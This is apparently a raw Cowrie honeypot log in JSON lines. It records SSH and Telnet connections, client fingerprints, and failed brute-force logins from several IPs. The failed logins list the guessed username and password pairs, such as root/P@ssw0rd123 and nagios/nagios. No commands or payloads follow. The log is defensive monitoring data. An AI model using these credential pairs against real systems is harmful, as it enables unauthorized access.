{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":50748,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eefb07e9d81","protocol":"ssh","message":"New connection: 101.32.240.31:50748 (159.203.135.109:22) [session: 5eefb07e9d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:10.904070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:10.909382Z","src_ip":"101.32.240.31","session":"5eefb07e9d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":50366,"dst_ip":"159.203.135.109","dst_port":22,"session":"3530587bb4a7","protocol":"ssh","message":"New connection: 82.152.132.24:50366 (159.203.135.109:22) [session: 3530587bb4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:10.929751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:10.937754Z","src_ip":"82.152.132.24","session":"3530587bb4a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:10.945489Z","src_ip":"176.65.132.129","session":"8f218e5c01d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:11.069643Z","src_ip":"82.152.132.24","session":"3530587bb4a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:11.154963Z","src_ip":"101.32.240.31","session":"5eefb07e9d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:11.215639Z","src_ip":"176.65.132.129","session":"8f218e5c01d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"32167","message":"login attempt [root/32167] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:11.609459Z","src_ip":"82.152.132.24","session":"3530587bb4a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaa123321","message":"login attempt [root/Aaa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:12.189048Z","src_ip":"101.32.240.31","session":"5eefb07e9d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:12.311269Z","src_ip":"176.65.132.129","session":"8f218e5c01d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:12.742554Z","src_ip":"82.152.132.24","session":"3530587bb4a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:13.437734Z","src_ip":"101.32.240.31","session":"5eefb07e9d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60162,"dst_ip":"10.17.0.5","dst_port":23,"session":"0657cfb346a2","protocol":"telnet","message":"New connection: 152.42.224.71:60162 (10.17.0.5:23) [session: 0657cfb346a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:13.937458Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53356,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d5f414f1e94","protocol":"ssh","message":"New connection: 176.65.132.129:53356 (159.203.135.109:22) [session: 9d5f414f1e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:14.022451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:14.031150Z","src_ip":"176.65.132.129","session":"9d5f414f1e94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:14.113319Z","src_ip":"176.65.132.129","session":"9d5f414f1e94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:14.361629Z","src_ip":"176.65.132.129","session":"9d5f414f1e94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.040486097335815,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:14.789047Z","src_ip":"152.42.224.71","session":"65ddd557fc1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00163292884827,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:15.314546Z","src_ip":"152.42.224.71","session":"8adb3595f010","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:15.447113Z","src_ip":"176.65.132.129","session":"9d5f414f1e94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57652,"dst_ip":"10.17.0.5","dst_port":23,"session":"73f84abfb2d3","protocol":"telnet","message":"New connection: 152.42.224.71:57652 (10.17.0.5:23) [session: 73f84abfb2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:16.500880Z"}
{"eventid":"cowrie.session.closed","duration":0.009291648864746094,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:16.509910Z","src_ip":"152.42.224.71","session":"73f84abfb2d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58038,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eb1f767b86a","protocol":"ssh","message":"New connection: 176.65.132.129:58038 (159.203.135.109:22) [session: 3eb1f767b86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:17.268496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:17.272357Z","src_ip":"176.65.132.129","session":"3eb1f767b86a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:17.354079Z","src_ip":"176.65.132.129","session":"3eb1f767b86a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:17.603551Z","src_ip":"176.65.132.129","session":"3eb1f767b86a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":116.03696656227112,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:18.239812Z","src_ip":"152.42.224.71","session":"a85a34ffa368","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:18.687759Z","src_ip":"176.65.132.129","session":"3eb1f767b86a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36886,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e327434ffc3","protocol":"ssh","message":"New connection: 80.94.92.184:36886 (10.17.0.5:22) [session: 0e327434ffc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:20.226642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:20.367792Z","src_ip":"80.94.92.184","session":"0e327434ffc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:20.372138Z","src_ip":"80.94.92.184","session":"0e327434ffc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58054,"dst_ip":"159.203.135.109","dst_port":22,"session":"20aade926604","protocol":"ssh","message":"New connection: 176.65.132.129:58054 (159.203.135.109:22) [session: 20aade926604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:20.396996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:20.401827Z","src_ip":"176.65.132.129","session":"20aade926604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:20.484394Z","src_ip":"176.65.132.129","session":"20aade926604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:20.730764Z","src_ip":"176.65.132.129","session":"20aade926604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:21.279468Z","src_ip":"80.94.92.184","session":"0e327434ffc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:21.869092Z","src_ip":"176.65.132.129","session":"20aade926604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":110.12005138397217,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:22.132055Z","src_ip":"152.42.224.71","session":"4a3b0dbba9a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:22.570744Z","src_ip":"80.94.92.184","session":"0e327434ffc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":51936,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d3b18b29741","protocol":"ssh","message":"New connection: 20.193.250.100:51936 (10.17.0.5:22) [session: 2d3b18b29741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:23.255760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:23.260965Z","src_ip":"20.193.250.100","session":"2d3b18b29741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:23.466763Z","src_ip":"20.193.250.100","session":"2d3b18b29741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58066,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5c3e07cc1cc","protocol":"ssh","message":"New connection: 176.65.132.129:58066 (159.203.135.109:22) [session: e5c3e07cc1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:23.489277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:23.494177Z","src_ip":"176.65.132.129","session":"e5c3e07cc1cc","protocol":"ssh"}
